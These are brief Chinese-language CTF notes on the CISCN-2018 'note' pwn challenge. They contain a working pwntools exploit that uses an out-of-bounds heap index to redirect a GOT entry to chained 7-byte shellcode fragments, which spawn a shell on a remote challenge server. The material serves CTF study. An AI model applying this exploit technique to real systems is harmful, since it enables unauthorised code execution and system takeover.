ps:不是一个完整的write-up,只是标了一下重点方便自己以后看看。。。
来源:CISCN-2018-Quals
参考:
1.https://blog.csdn.net/qq_42728977/article/details/103914342
2.https://blog.csdn.net/seaaseesa/article/details/103003167
是一个数组越界的漏洞,而且可以堆栈执行shell。所以大致思路为申请一些堆块并写入shllcode,然后将某一个函数的got表修指向堆块shell,调用该函数运行shellcode,进而获得shell。理想很丰满,现实很骨感。
那么问题来了,shellcode怎么写?每个堆块的data区只能写7个字节,太短了(滑稽),怎么处理?shellcode怎么写?原理是啥?
#coding=utf-8
from pwn import *
context.log_level='debug'
context.update(arch='amd64')#64位
#io=process("./note")
io=remote("111.198.29.45",59605)
#利用函数的一般写法
#收到,发送(参数)
def add(index,content):
io.recvuntil("your choice>>")
io.sendline("1")
io.recvuntil("index:")
io.sendline(str(index))
io.recvuntil("size:")
io.sendline("8") #全部申请为最大堆块8字节
io.recvuntil("content:")
io.sendline(content)
def dele(index):
io.recvuntil("your choice>>")
io.sendline("4")
io.recvuntil("index:")
io.sendline(str(index))
add(0,"/bin/sh")
add(-17,asm("xor rsi,rsi")+"\x90\x90\xeb\x19") #0x90即nop ;EB即 jmp short
add(1,asm("mov eax, 0x3b")+"\xeb\x19")
add(2,asm("xor rdx, rdx")+"\x90\x90\xeb\x19")
add(3,asm("syscall").ljust(7,"\x90"))
dele(0)
io.interactive()
查看任意一条汇编指令的机器码做法:
打开kali终端
python
from pwn import *
enhex(asm("汇编代码"))
arch设置架构为amd64,可以简单的认为设置为64位的模式
context(os='linux', arch='amd64', log_level='debug')